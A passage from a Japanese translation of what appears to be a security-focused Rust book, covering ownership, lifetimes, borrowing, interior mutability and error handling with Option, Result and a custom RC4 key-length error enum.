    • コンパイラエラーのフィードバックループ: Rust のコンパイル時エラーは、多くの場合、非常に実行可能な対処を示します。しかし、それらは複雑でもあり、頻繁に発生することもあります。これは不完全なフィードバックチャネルです。

この協働がうまくいけば、大きな成果が得られます。 メモリ安全性の脆弱性がなく、一般的な信頼性(例: 厳格なエラー処理)を重視した、高性能なプログラムが得られます。 これは高アシュアランスソフトウェアの堅実な出発点です。

Computers and Humans Exploring Software Security(CHESS)

CHESS は、「米国政府、軍、および経済が依存している複雑なソフトウェアエコシステムに適した規模と速度で 0-day 脆弱性を発見することを目標として、コンピューターと人間がソフトウェア成果物について協働で推論できるようにすることの有効性」に関する DARPA の研究プログラム3でした4

これは、詳細なセキュリティ評価がスケールさせるのが難しい専門家プロセスであるという事実への対応です。 Rust は CHESS プログラムにおける解決策とは見なされていませんでした。 すべての基準を満たすことはなかったでしょう。 しかし、これをライフサイクルにおけるシフトレフトと考えることはできます。つまり、借用チェッカーに支援された開発者は、評価者が発見すべきメモリ破壊バグを持ち込まない、ということです。

その観点から見ると、Rust には驚くほど高い**投資対効果(ROI)**があります。 Rust が早期に防ぐバグは、資産のライフサイクルの後半で修正する方が高くつきます。

  • 本番環境へのパッチ適用には、顧客ごとのコストとリスクが伴います。
  • コンパイラエラーに従うことには、それがありません。

スコープとライフタイム

前述したように、ほとんどのプログラミング言語では、スコープとライフタイムは別々の概念です。

  • スコープとは、値にアクセスできるコードの範囲です。

    • 値がグローバルでない限り、通常は関数内、つまり多くの言語では {} の括弧の間を意味します。
  • ライフタイムとは、値が有効な状態にある期間です。

    • ガベージコレクションを備えた言語では、それは値への参照が存在する限りです。システム言語では、値が解放されるまでである場合があります。

Rust の借用チェッカーは、これら2つの概念の境界を曖昧にします。 借用チェッカーは、スコープに基づくライフタイムの強制に執拗にこだわります。

これらの考え方がどのように展開するのか、他の情報源から借りた5で感覚をつかみましょう(意図した洒落です)。 まず、小さな C++ コードスニペットから始めます。

#include <iostream>

int main() {
    int *p; // 整数へのポインター

    { // スコープ S の開始
        int x = 1337;   // 値
        p = &x;         // 値への参照
    } // スコープ S の終了

    // x を出力すると未定義動作が発生します! :(
    std::cout << "x = " << *p << std::endl;
    return 0;
}

C++ には借用チェッカーがないため、このプログラムは警告なしでコンパイルされます6。 そして、この関数の最後にある出力(std::cout で始まる行)は UB を引き起こします。 より大きなプログラムの文脈では、どのような UB もクラッシュやエクスプロイトにつながる可能性があります。

問題は、すでにスコープ外になった値(x)への参照(p)を使おうとしていることです。 出力時点では、x のライフタイムは終わっています。 Rust で同じことを試したときに、借用チェッカーが何と言うか見てみましょう。

fn main() {
    let p; // 整数への参照

    { // スコープ S の開始
        let x = 1337;   // 値
        p = &x;         // 値への参照
    } // スコープ S の終了

    // コンパイル時エラー!
    println!("x = {}", p);
}

次のエラーが出力されます。

error[E0597]: `x` does not live long enough
  --> src/main.rs:6:13
   |
6  |         p = &x;         // 値への参照
   |             ^^ borrowed value does not live long enough
7  |     } // スコープ S の終了
   |     - `x` dropped here while still borrowed
...
10 |     println!("x = {}", p);
   |                        - borrow later used here

このコンパイラエラーを少し時間を取って読んでみてください。 読者によっては、複雑なコンパイラエラーがある程度意味を持ち始めるのは、ここかもしれません。 借用チェッカーはライフタイムの問題について不満を述べています。 それは正当なことです。 ここで関係している2つのライフタイム('a'b)を書き出すことができます。

fn main() {
    let p;                  // ---------+-- 'a
                            //          |
    {                       //          |
        let x = 1337;       // -+-- 'b  |
        p = &x;             //  |       |
    }                       // -+       |
                            //          |
    println!("x = {}", p);  // ---------+
}

借用は、参照先の値より長く存続できないことを思い出してください。 上記では 'a'b より長く存続するため、借用チェッカーがこのプログラムを拒否するのは正当です。 x の定義を包み込むネストされたスコープ S がなければ、C++ でも Rust でもこの問題は発生しません。 これは問題ありません。

fn main() {
    let p;                  // ---------+-- 'a
                            //          |
    let x = 1337;           // -+-- 'b  |
    p = &x;                 //  |       |
                            //  |       |
    println!("x = {}", p);  // -+-------+
}

ここでは、借用のライフタイム('b)は、借用される値のライフタイム('a)の厳密な部分集合です。 どのルールにも違反していません。

さて、関数内のネストされたスコープはそれほど一般的ではないため、この例は作為的に感じられるかもしれません。 それはもっともです。 これは概念を説明するためだけのものです。 より現実的な例としては、スタック上のローカル変数への参照を返す、変数を二重に解放する、解放済みの値を読み取る、などが考えられます。 私たちの例におけるネストした波括弧と同様に、これらのケースでもライフタイムの不一致が発生する可能性があります。

コードベースの規模と複雑さが増すと、ライフタイムを手作業で推論することは難しくなります。 そして、たった 1 つのミスであっても、信頼性やセキュリティ、あるいはその両方を危険にさらす可能性があります。

柔軟性の仕組み

所有権を実世界のプログラムの出荷と両立させるには、多少の余地が必要です。 単一所有者ルールの中に、少しの融通が必要です。 ここからは、これらの柔軟性の仕組みを概観し、本書全体で使用していきます。

1) 所有権をムーブする

前のセクションでムーブを見ました。 ライフタイムについてよりよく理解できたので、前のセクションの最初の Proc ツリーの例、つまり借用ではなくムーブを使用した例を振り返ってみましょう。

以下の右側の ASCII グラフは、各変数の値が別の変数へムーブされたときに、その変数のライフタイムがどのように終了するかを示しています。

// bash を割り当て                                                   //
let bash = Proc::new("bash", State::Running, Vec::new());           // ---------+-- 'a
                                                                    //          |
// rsyslogd を割り当て、1 回目のムーブ: bash -> rsyslogd              //          |
let rsyslogd = Proc::new("rsyslogd", State::Running, vec![bash]);   // ---------+-- 'b
                                                                    //          |
// cron を割り当て                                                   //          |
let cron = Proc::new("cron", State::Sleeping, Vec::new());          // -+-- 'c  |
                                                                    //  |       |
// init を割り当て、2 回目と 3 回目のムーブ: cron -> init, rsyslogd -> init //  |       |
let init = Proc::new("init", State::Running, vec![cron, rsyslogd]); // -+-------+--'d
                                                                    //          |
// 所有権階層を見るためにシリアライズされたツリーを出力する           //          |
dbg!(init);                                                         // ---------+

一般に、所有権は次の方法でムーブできます。

  • 値を新しい変数に代入する。
  • 値を関数に渡す(参照を使用しない場合)。
  • 値を関数から返す。

2) Copy トレイトを実装する型のデータを複製する

文字列と Proc 構造体について、ムーブを扱いました。これらは多くのデータを所有する可能性がある型です。

  • 文字列は非常に長いかもしれず、場合によってはファイル全体の内容を含んでいるかもしれません。

  • Proc インスタンスは、直接またはネストされた多数の子を持つ可能性があります。

このような場合、ムーブによって代入演算子 = は効率的になります。所有権が移転されるときに、大きなデータはコピーされません。 既知の有効なポインターを複製するだけです。

しかし、整数や文字のような一部の型では、ムーブは過剰です。 これらの型が保持するデータは非常に小さく、コピーを行うのは取るに足りないことです。短いビット列を複製するだけです。 後で解放するリソースはなく、完全な複製を安価に作成できます。 ムーブする代わりに、単にデータをコピーできます。

以下を考えてみましょう。

#![allow(unused)]
fn main() {
let x = "42_u64".to_string();
let y = x; // x は y に *ムーブ* される。y は String 値 "42_u64" を所有し、x はなくなる。

let a = 42_u64;
let b = a; // a は *コピー* され、b に代入される。値 42 のインスタンスが 2 つ得られる。

// これはコンパイル時エラーになる
//println!("Strings: {x}, {y}");

// これは動作する
println!("Integers: {a}, {b}");
}

これは次を出力します。

Integers: 42, 42

文字列 xムーブされたのに対し、64 ビット符号なし整数 aコピーされました。 代入操作は依然として安価でしたが、所有権を移転する代わりに、小さな複製を作成しました。

y は文字列 "42_u64" を所有し、a と b は整数 42 の別々のインスタンスを所有する

便利なのは、所有権やムーブについて考える必要がなく、独立した複製をそれぞれ別個の値として自由に使えることです。 これにより、整数や浮動小数点数のようなプリミティブ型の扱いが、はるかに人間工学的になります。 Rust のムーブセマンティクスによる認知的負荷から、ありがたい休息を得られます。

代入は、Copy トレイトを実装する任意の型に対してコピーを行います7。 外部に割り当てられたデータ(VecString フィールドなど)を保持しないのであれば、独自のカスタム型に対して Copy を derive または実装できます。

なぜ、すべてに Copy を実装させて、二度とムーブの心配をしなくてよいようにしないのでしょうか。 データの複製は、プログラムの実行時間とメモリ消費を増加させるからです。 ほとんどのユーザー定義構造体のような大きなデータの塊には、Copy は適していません。 そのため、日常的なプリミティブ型以外では、Copy トレイトは明示的にオプトインしなければなりません。

3) ライフタイムの一部だけを借用する

前のセクションで借用を見ました。 考え方は、所有権を移転する(ムーブを行う)ことも、データを複製する(コピーを行う)こともなく、参照によって値への一時的なアクセスを得られるというものでした。

復習として、参照ベースの Proc 構造体を見てみましょう(右側に追加されたライフタイム図が、前のムーブの場合とどのように異なるかに注目してください)。

// bashを確保                                                          //
let bash = Proc::new("bash", State::Running, Vec::new());               // -------------------------+-- 'a
                                                                        //                          |
// rsyslogdを確保、1回目のムーブ: bash -> rsyslogd                     //                          |
let rsyslogd = Proc::new("rsyslogd", State::Running, vec![&bash]);      // ------------------+-- 'b |
                                                                        //                   |      |
// 所有値を出力(新規!)                                               //                   |      |
dbg!(&bash);                                                            //                   |      |
                                                                        //                   |      |
// cronを確保                                                          //                   |      |
let cron = Proc::new("cron", State::Sleeping, Vec::new());              // ----------+-- 'c  |      |
                                                                        //           |       |      |
// initを確保、2回目と3回目のムーブ: cron -> init, rsyslogd -> init    //           |       |      |
let init = Proc::new("init", State::Running, vec![&cron, &rsyslogd]);   // --+-- 'd  |       |      |
                                                                        //   |       |       |      |
// 別の所有値を出力(新規!)                                           //   |       |       |      |
dbg!(&cron);                                                            //   |       |       |      |
                                                                        //   |       |       |      |
// 所有権階層を確認するためにシリアライズ済みツリーを出力              //   |       |       |      |
dbg!(&init);                                                            // --+-------+-------+------+

Rustは、参照が常に安全に使用できることを保証します。 参照は、それが参照する値よりも長く存続することはできません。 これは、参照が常に有効である期間として、参照先よりも短いライフタイムしか持てないことを意味します。 時間的メモリ安全性の問題につながる「ダングリングポインタ」は発生し得ません。 そのため、以下のMISRAルールに準拠します:

[AR, Rule 18.6] オブジェクトのライフタイムが終了するなら、参照のライフタイムも終了しなければならない8

さらに、「共有 XOR 可変」という有名なルールがあります。 Rustの参照は、次のいずれかになれます(ただし両方同時にはなれません):

  • &T - 不変(参照先の値を変更できない)かつ共有(複数の参照を同時に使用できる)。

    • 参照はデフォルトで不変です。
  • &mut T - 可変(参照先の値を変更できる)かつ排他(任意の時点で1つだけ存在する)。

    • 参照を可変にするには明示的にマークする必要があります。

2種類の参照: 不変/共有(&T)と可変/排他(&mut T)

ここまでは、最初のケースだけを示してきました。これは多くの場合、共有参照と呼ばれます。 さらにRustコードを書き進めながら、2つ目のケース、すなわち可変参照を扱う方法を学んでいきます。 排他可変の制約を先取りして見ると、次のコードはコンパイルに失敗します:

let mut x = "こんにちは!".to_string();

let r1 = &mut x; // 1回目の可変借用
let r2 = &mut x; // 2回目の可変借用 - 問題!

println!("{}, {}", r1, r2);

次のエラーが出ます:

error[E0499]: cannot borrow `x` as mutable more than once at a time
 --> src/main.rs:7:10
  |
6 | let r1 = &mut x; // 1回目の可変借用
  |          ------ first mutable borrow occurs here
7 | let r2 = &mut x; // 2回目の可変借用 - 問題!
  |          ^^^^^^ second mutable borrow occurs here
8 |
9 | println!("{}, {}", r1, r2);
  |                    -- first borrow later used here

For more information about this error, try `rustc --explain E0499`.

しかし、これはOKです:

#![allow(unused)]
fn main() {
let mut x = "こんにちは!".to_string();

let r1 = &mut x; // 1回目の可変借用

// 文字列を変更する
r1.pop();
r1.push_str(", 世界");

println!("r1で変更: {}", r1);
// 1回目の可変借用の暗黙の(開閉括弧のない)スコープの終わり。
// この関数内では再び使われないため

let r2 = &mut x; // 2回目の可変借用 - OK、同時ではない!

// 別の参照を介して文字列を変更する
r2.push('!');

println!("r2で変更: {}", r2);
}

次のように出力されます:

r1で変更: こんにちは, 世界
r2で変更: こんにちは, 世界!

可変借用で難しいのは、それらが排他であり続けなければならないという要件です。 その要件を満たすことは必ずしも簡単ではありません。それは経験を通じて身につくスキルです。

4) 「内部可変性」パターン

最初の3つの所有権の「回避策」(ムーブ、コピー、借用)は、この本で必要になるすべてです。 しかし、4つ目の選択肢として、Rustでよく知られたパターンがあります。 これは内部可変性と呼ばれ、&T xor &mut Tチェックの強制を緩和します。

それでもこのルールには従わなければなりませんが、すべての可能な実行に対する相互排他をコンパイル時検証(静的保証)で証明する必要はありません。 その厳格さは、特定の問題を表現することを難しすぎるものにします。 しかし、コンパイルできれば、それは保証されています。

代わりに、内部可変性は実行時検証(動的保証)を可能にします。 以下は、内部可変性パターンでよく使われる2つの型です。 これらの型シグネチャが何を意味するかは心配しないでください。トレードオフに注目しましょう:

  • Rc<RefCell<T>>の可用性リスク: コード内のある文が、別の文によってすでに可変借用されている値を可変借用しようとすると、そのスレッドはpanic!します(即座に終了します)9

    • 例: シングルスレッドアプリケーションを終了させるリスクがあります。
  • Arc<RwLock<T>>の潜在的なパフォーマンスへの影響: - スレッドAが、スレッドBが書き込みロックを保持している間にデータへの読み取りアクセスを要求すると、スレッドAはスレッドBがロックを解放するまでブロックされます(実行を一時停止します)。ただし、複数の読み取り側が同時に存在することは許可されます10

    • 例: マルチスレッドアプリケーションでパフォーマンス低下のリスクがあります。

    • リーダー/ライターロックは、システムプログラミングで一般的な同期メカニズムです。Rust固有のものではありません。

内部可変性: 共有読み取り可能 XOR 排他書き込み可能を実行時に強制

繰り返しますが、この本では内部可変性を使用しません。 それなしでも機能豊富なライブラリを構築できます。 また、コンパイル時の保証には失敗し得る実行時チェックが不要であるため、私たちの実装はより高いレベルの保証を得られます。

それでも、内部可変性はいずれ学び、使う価値があります。 ある種の問題に対してはベストプラクティスであり、他のリソースで十分に取り上げられています11。 ただし覚えておいてください - Rustは大きな言語です。 生産的になるために、すべての機能を習得する必要はありません。

ランタイムに関する厄介ごとからまだ抜け出したわけではありません!

私たちのコードは、たとえば arr[i] のようなインデックスベースの配列アクセスを行います。 これにより、実行時の境界チェックが発生します。 失敗(範囲外インデックスへのアクセスの試み)は、RefCell と同様に panic! を意味します。 しかし、配列のインデックス指定は推論しやすいものです。

インデックス指定のロジックに対する信頼性と、より一般的な信頼性を正当化するために、第12章ではストレステストの高度な形式である差分ファジングを紹介します。

要点

これで、所有権をより包括的に捉えられるようになりました。 借用チェッカーと付き合う4つの方法を含めてです。

  1. Moving(移動)所有権をある変数から別の変数へ移すこと。

  2. Copying(コピー)データを複製し、2つ目の独立した所有インスタンスを作成すること。

  3. Borrowing(借用)ライフタイムの一部の期間だけデータにアクセスすること。

  4. Interior mutability - 緩和された実行時の所有権強制の一形態。

以上です! Rust プログラミング言語において最も難しく悪名高い側面を扱ってきました。 これらの概念を念頭に置きながらさらにコードを書いていけば、やがて所有権は自然に身につくものにさえなるかもしれません。

所有権はメモリ安全性を保証します。 しかし Rust は一般的な正しさ、つまりメモリ安全性を超えた堅牢性でも知られています。 その評判の大きな理由が、エラーハンドリングのあり方です。 そしてそれが次のトピックです。


  1. MIR 借用チェック。Rustc 開発ガイド(2022年閲覧)。

  2. あるレベルでは、これはほとんどのプログラミング言語(PL)の革新(たとえば、型システムやアノテーションベースのフレームワーク)にも当てはまります。 また、これは業界の開発ツールやプラクティス(たとえば、製品作成を支援する強力な IDE やフレームワーク、本番品質のシステムやサービスを支えるテストおよびデプロイプロセス)から得られる堅牢性の利点を補完します。Rust は特別なものでも「銀の弾丸」でもなく、多くの現代的な開発ツールの1つです。しかし Rust は重要なニッチ、すなわち高速 && メモリ安全に取り組んでいます。

  3. CHESS: Computers and Humans Exploring Software Security。Dustin Fraze(2018年、パブリックドメイン)。

  4. Computers and Humans Exploring Software Security (CHESS)。William Martin(2022年閲覧)。

  5. 適切なクレジットを示すために述べると、この例は この StackOverflow の質問 と TRPL 本の この部分 に基づいています。特に、TRPL と同じ ASCII 図のコメントを使用しています。

  6. このプログラムは、g++ バージョン 9.4.0(執筆時点で Ubuntu 20.04 LTS に同梱されていた最新バージョン)を使用し、コマンド g++ scope.cpp -o scope でコンパイルしました。警告は出力されませんでした。

  7. トレイト std::marker::Copy。The Rust Team(2022年閲覧)。

  8. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition)。MISRA(2019年)。

  9. モジュール std::cell。The Rust Team(2022年閲覧)。

  10. 構造体 std::sync::RwLock。The Rust Team(2022年閲覧)。

  11. RefCell<T> と内部可変性パターン。Steve Klabnik、Carol Nichols 著(2022年閲覧)。

Rust: エラー処理(6/6)

エラーの検出と処理は、一般にソフトウェア開発の基礎ですが、堅牢性と可用性を優先するソフトウェアにとっては特に差し迫ったトピックです。 エラー処理は、Rust が自身を差別化している領域の 1 つでもあります。その仕組みと綿密さの両面においてです。

大まかに言うと、エラーは次の 3 つのクラスのいずれかに分類できます。

  1. コンパイル時エラー - 単一のモジュールのコンパイルを妨げる構文エラーまたは所有権エラー。Rust のコンパイラは、このような場合に実行可能な対処を示すエラーメッセージを出力する傾向があります。特に言語を学び始めたばかりの頃には、その多くを目にすることになるでしょう。ただ覚えておいてください。あなたは安全性検証プロセスを支援しているのです。

  2. リンク時エラー - 複数のモジュールの合成を妨げるシンボル解決エラー。cargo のおかげで、純粋な Rust コードベースで作業しているときにリンクエラーが起きることはまれなはずです。しかし、大規模な多言語プロジェクトや、C/C++ ライブラリを依存関係として使用している場合には現れることがあります。

  3. ランタイムエラー - 実行時に、破られた不変条件や操作の失敗によって引き起こされるエラー。このクラスは保証に影響します。これが本セクションの主題であり、Rust におけるランタイムエラー処理の戦略を見ていきます。

論理エラー(例: 誤ったアルゴリズムの実装)が上に挙げられていないことに注意してください。 これらは一般的なバグであり、エラー処理に関する議論の範囲外であると考えます。

本来のエラーについて、一部の開発者コミュニティでは以下の区別をします。

  • 「エラー」は、プログラムが合理的に処理できない壊滅的な失敗(例: システムメモリの枯渇)を特に指します。

  • 「例外」は、プログラマー定義のロジックによって「捕捉」して処理できるエラー(例: ファイルが存在しない)です。

ここではその区別はしません。 「エラー」という用語を、壊滅的なケースと処理可能なケースの両方を含むものとして使います。

Option vs Result

Rust の標準ライブラリは、失敗しうる操作を表現するために 2 つの enum 型、Option1Result2 を提供しています。 厳密に言えば、エラー処理が指すのは Result だけです。 しかし、この 2 つは概念的に似ており、関数の戻り値の型として広く使われているため、ここで両方を扱います。

Option

Option は、関数が潜在的に返すものを持たない可能性があることを伝えます。 操作自体は正常に完了したとしてもです。 これは通常の振る舞いです。

列挙型とジェネリクスの両方を扱ったので、この標準ライブラリ型の定義1を解釈してみてください。

pub enum Option<T> {
    None,
    Some(T),
}

Option の定義における None バリアントにはデータが含まれていないことに注目してください。 この定義は、「何らかの型 T XOR 何もない」という概念をエンコードしています。 結果を返すかもしれない失敗しうる操作に理想的です。

後で非常に詳しく扱うことになる例として、順序付き集合の get メソッドがあります。 要素の取得は、その要素が集合に存在しない場合に None を返します。

use std::collections::BTreeSet;

let set = BTreeSet::from([1, 2, 3]);

assert_eq!(set.get(&2), Some(&2));
assert_eq!(set.get(&4), None);

概念チェックポイント

上の BTreeSet の使用例には、この章で導入した概念に関連する細かな点があります。 理解を固めましょう。

  • let set: BTreeSet<i32> = ... は推論されています。i32 は Rust のデフォルト整数型であり、私たちは 3 つの整数リテラルからなる配列から集合を作成しています。

  • したがって、ここで getOption<&i32> を返します。この戻り値シグネチャにある参照演算子 & は、取得によって要素が集合の外へムーブされないことを保証します。集合は依然としてそれを所有しており、私たちはそれが存在するかを確認しているだけです。

    • 実際に要素を削除するには、別の集合メソッドである take を使います。これは Option<T>(私たちの例では Option<i32>)を返し、所有権を移転します。
  • 同様に、get への引数は型 &i32 です(したがって set.get(&2 です)。探している要素の所有権を get 関数に取得させたくないからです。

    • プリミティブな整数は安価にコピーできるのに、なぜでしょうか。それは BTreeSet<T>ジェネリックコンテナだからです。集合に格納される項目は、i32 だけでなく、大きく複雑なオブジェクトである可能性があります。

Result

一方、Result にはまったく異なるユースケースがあります。 それは、関数が操作を完了できない可能性があることを伝えます。 失敗は異常であり、問題を報告する必要がある、または操作を再試行する必要があることを意味します。

Result の定義2では、両方のバリアントがデータを含んでいます。 Ok バリアントは成功した操作の出力をカプセル化し、一方 Err バリアントは失敗を示し、カスタムエラー型をカプセル化します。

pub enum Result<T, E> {
    Ok(T),
    Err(E),
}

第 2 章の CLI ツールの文脈ですでに見た例として、ファイル I/O があります。 ファイルを開こうとすると、いくつかの理由で失敗することがあります。ファイルが存在しないかもしれませんし、読み取り権限がないかもしれません。 以前は ? 演算子を使ってエラー伝播を短絡していましたが、次のようにファイルオープンの Result を明示的にマッチすることもできます。

#![allow(unused)]
fn main() {
use std::fs::File;

match File::open("/path/to/non-existent/file.txt") {
    Ok(f) => println!("Successfully opened: {:?}", f),
    Err(e) => eprintln!("Error occurred: {:?}", e),
}
}

Option とは異なり、Result は内部的に #[must_use] 属性でマークされています。 Result を返す関数を書くときは常に、呼び出し側は OkErr の両方のケースを明示的に処理しなければなりません。 この組み込みの強制は、別の MISRA ルールにも適しています。

[AR, Directive 4.7] 関数から返されるエラー情報を常にテストする3

Result は潜在的な失敗を表現するための便利な仕組みを提供し、自動的に処理を強制しますが、それでもエラー処理を実際に行うというアプリケーション固有のタスクは残ります。 一般に、次の 3 つのアプローチのいずれかを取ることができます。

  1. 不変条件をアサートする - エラーが発生した場合、プログラムを即座に終了します。エラーから妥当に回復できない場合に有用です。

  2. マージして伝播する - 複数種類のエラーを単一の不透明なエラーにマージし、呼び出し元へ渡します。無関係な詳細を隠蔽したいが、それでも呼び出し元に対応する機会を与えたい場合に有用です。

  3. 列挙して伝播する - 詳細なエラー情報を呼び出し元へ渡します。呼び出し元の対応処理が、発生したエラーの正確な種類に依存する場合に有用です。

それぞれのアプローチをより具体的にし、細かな詳細をいくつか探るために、第2章の RC4 ライブラリと対応する CLI ツールに変更を加えます。

Rust のエラー vs C++ の例外

C++ では、2つのエラーハンドリング戦略が可能です4:

  1. 戻り値コード: 関数は、-1NULL のような特別な値を返すことで、エラーが発生したことを暗黙的に示せます。しかし開発者は、すべての呼び出し箇所でこの特別なケースを確認し、その意味を解釈することを覚えておかなければなりません。

    • うっかりチェックをし忘れることは、C と C++ の両方で、上記の Directive 4.7 に対する一般的な違反です。
  2. スローされる例外: 例外は、プログラマーが定義したハンドラー、またはそれが提供されていない場合は OS 自体によって、必ずキャッチされなければなりません。そのため、ハンドリングが強制されます。また、説明的なコンテキストを提供できる場合もあります。

    • しかし、C++ の例外は通常のコードフローの外側で発生します。非常に深くネストされた関数から伝播されるため、一見無関係に見えることがあります。これにより、関数に「見えない」終了点が導入されます。これは別の MISRA ルール(ここではまだ言及していないもの)に違反するだけでなく、一部の C++ プログラマーが例外の使用を「悪いプラクティス」と考える原因にもなります。

    • さらに、アンワインドはマルチコアシステムでは性能上のボトルネックになります(グローバルロックのため)5

Result により、Rust は両方の長所を提供します。 戻り値コードと同様に、Result は通常の呼び出しチェーンを通じて上位へ渡されます。 C++ の例外と同様に、Result はうっかり無視できず、Err バリアントを通じて意味のあるコンテキストを提供します。

不変条件をアサートする

前の章では、RC4 暗号インスタンス用のコンストラクターを書きました。 慣例により、コンストラクターは new という名前の関連関数です。 私たちの new 関数は、単一のパラメーターである鍵バイト配列を受け取り、不変条件をアサートしていました。

pub fn new(key: &[u8]) -> Self {
    // 有効な鍵長を検証する(40〜2048ビット)
    assert!(5 <= key.len() && key.len() <= 256);

    // ...ここにさらにコード...
}

一方で、これは重要なルール(入力検証)に従っています。

[RR, Directive 4.14] 外部入力は検証されなければなりません3

他方で、私たちはライブラリのユーザーに代わって議論の余地がある判断をしました。提供された鍵が短すぎる、または長すぎる場合、プログラムを終了することにしたのです。 このエラー条件に到達した場合、ユーザーには対応する機会がありません。

特定の壊滅的な失敗ケースについては、Rust 言語自体も同様の判断をします。 たとえば、配列を範囲外インデックスで参照したとします。

let mut five_item_arr = [0; 5];

for i in 0..6 {
    five_item_arr[i] = i;
}

ループは i == 0 から i == 5 までの6回反復しますが、配列には有効なインデックスが5つ(0 から 4)しかありません。 このプログラムはコンパイルには成功しますが、実行時に終了し、次のように表示されます。

thread 'main' panicked at 'index out of bounds: the len is 5 but the index is 5', src/main.rs:7:5
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace

これは典型的な「off-by-one」エラーです。 テストをしていれば、このインデックス参照の失敗を捕捉する助けになったでしょう。 しかし、すべての致命的な不変条件がテストしやすいわけではないため、現実世界のほとんどのプログラムには、何らかのアサーションベースのエラーハンドリングが含まれます。 この例のような暗黙的なケースも含まれます。

テストの目的の1つは、チェックや緩和策によって、プログラムが実際にはそのようなアサーションに到達しないだけの堅牢性を持つことを示すことです。 一定数の致命的なアサーションは常に存在しますが、徹底したテストにより、プログラムがそれらを回避しているという確信を得られます。

特定の場合には、問題が起きる可能性を完全に取り除けることがあります。 たとえば、配列をイテレーターを使って初期化すれば、範囲外インデックスの可能性を排除できました。

let mut five_item_arr = [0; 5];

for (i, item) in five_item_arr.iter_mut().enumerate() {
    *item = i;
}

次に、致命的ではないケース、つまり検出して伝播できるエラーを見ていきましょう。 エラー伝播戦略を示すために、RC4 コンストラクターをリファクタリングします。

マージして伝播する

提供された鍵が正しいサイズでなかった場合、第2章の RC4 CLI はユーザーに説明的なエラーを示していたことを思い出してください。実質的には、有効な長さの鍵を再入力するよう促していました。 これは clapnum_args = 5..=256 アノテーションによって実現しました。

ライブラリ自体(CLI フロントエンドではなく)は、不変条件をアサートしていました。 フロントエンドのチェックは、このアサーションが決してトリガーされないことを保証していただけです。

このライブラリを使用する任意のプログラムに対して、フロントエンドかどうかにかかわらず、同様のチェックをライブラリに強制させたいとします。 次のように、単一の不透明なエラーを伝播させることができます。

impl Rc4 {
    /// 新しい Rc4 ストリーム暗号インスタンスを初期化する
    pub fn new(key: &[u8]) -> Result<Self, ()> {
        // 有効な鍵長を検証する(40〜2048ビット)
        if (key.len() < 5) || (key.len() > 256) {
            return Err(());
        }

        // 構造体をゼロ初期化する
        let mut rc4 = Rc4 {
            s: [0; 256],
            i: 0,
            j: 0,
        };

        // ...ここにさらに初期化コード...

        // 初期化済みの Rc4 を返す
        Ok(rc4)
    }
}

カスタムエラー型の代わりにユニット型(()、空の値)を選ぶのは、「最低限」のアプローチです。 一般的には、プライベートな内部 API により適しています。 しかし、呼び出し元は返された ResultOkErr の両方のバリアントに対して適切なアクションを取らなければならないため、目的は果たします。 Ok バリアントには、正常に初期化された暗号が含まれます。

列挙して伝播する

公開 API では、() よりもカスタムエラー enum の方が望ましい可能性が高いです。

#[derive(Debug)]
pub enum Rc4Error {
    KeyTooShort(usize),
    KeyTooLong(usize),
}

impl Rc4 {
    /// Init a new Rc4 stream cipher instance
    pub fn new(key: &[u8]) -> Result<Self, Rc4Error> {
        const MIN_KEY_LEN: usize = 5;
        const MAX_KEY_LEN: usize = 256;

        // Verify valid key length (40 to 2048 bits)
        if key.len() < MIN_KEY_LEN {
            return Err(Rc4Error::KeyTooShort(MIN_KEY_LEN));
        } else if key.len() > MAX_KEY_LEN {
            return Err(Rc4Error::KeyTooLong(MAX_KEY_LEN));
        }

        // Zero-init our struct
        let mut rc4 = Rc4 {
            s: [0; 256],
            i: 0,
            j: 0,
        };

        // ...more initialization code here...

        // Return our initialized Rc4
        Ok(rc4)
    }
}

上記では、単一の KeyLengthInvalid バリアントなどを使うのではなく、両方のエラー条件(短すぎる場合と長すぎる場合)を列挙することを選びました。 各バリアントにはしきい値の長さも含まれており、KeyTooShort バリアントでは最小値、KeyTooLong では最大値です。

この粒度の細かさが、このコンテキストで適切かどうかは場合によります。 ストリーム暗号ライブラリでは、一般的なパターンではないことは確かです。 しかし、この例は、さまざまな内部エラーを列挙し、それらを渡す方法を示しています。

これにより、呼び出し元はエラーの enum バリアントに対して match し、各ケースを適切に処理できます。 概念的には、次のようなものになります。

use rc4::{Rc4, Rc4Error};

let key = [0x1, 0x2, 0x3];

match Rc4::new(&key) {
    Ok(rc4) => println!("Do en/decryption here!"),
    Err(e) => match e {
        Rc4Error::KeyTooShort(min) => eprintln!("Key len >= {} bytes required!", min),
        Rc4Error::KeyTooLong(max) => eprintln!("Key len <= {} bytes required!", max),
    },
}

Error トレイト

Rust のエラーハンドリングのパズルには、もう 1 つ重要なピースがあります。それは標準ライブラリで定義されている Error トレイトです6。 この特殊なトレイトを私たちの Rc4Error 型に実装すると、次の 2 つの利点があります。

  • Rc4Error がエラー型であることを明確に示せます。単に名前に Error が含まれている enum というだけではありません。

  • このトレイトの source メソッドと [現在は不安定な] backtrace メソッドにより、より豊富なエラーレポートが可能になります。

しかし、私たちの RC4 ライブラリでこのトレイトを使わないことには、十分な理由があります。 私たちの暗号実装は #![no_std] 互換であり、任意の環境、さらには「ベアメタル」でも実行できることを思い出してください。

Error トレイトは、バックトレースを取得して出力するために必要なランタイムサポートを持つオペレーティングシステムの存在を前提としています。 したがって、#![no_std] ライブラリでは std::error::Error をインポートできません。

そのユースケースをサポートすることはできないのでしょうか?

Error トレイトを省くことが満足のいかない妥協に思えるなら、演習としてこのトレイトのサポートをフィーチャーゲートしてみてください。 そのためには、Cargo.toml7 ビルドファイルを変更し、cfg マクロ8の背後でトレイトを実装する必要があります。 慣例として、このフィーチャーは std と呼ばれ、次のように選択します。

cargo build --features="std"

依存関係は、自身の Cargo.toml エントリ内でオプションのフィーチャーを有効にすることを選択できます。

[dependencies]
rc4 = { path = "../rc4", version = "0.1.0", features = ["std"] }

これにより、両方の長所を得られます。デフォルトでは組み込みシステムをサポートしつつ、ライブラリ利用者が非組み込みターゲット向けにビルドする際にオプションのフィーチャーを有効にすれば、より豊富なエラーレポートを可能にできます。

まとめ

Rust の Result 型は、概念的に似ている Option と混同しないでください。これは、ランタイムエラーを報告し、その処理を強制するための主要な仕組みです。 C++ の例外と同様に、無視することはできません。 C++ の例外とは異なり、通常の呼び出しチェーンの一部です。

エラーハンドリングは保証に不可欠ですが、実際に取るべき具体的なアクションは最終的にはアプリケーション固有です。 各状況に応じて最適なアプローチを選択できます。不変条件をアサートする、不透明なエラーを伝播する、あるいは具体的なエラーを伝播する、といった方法です。

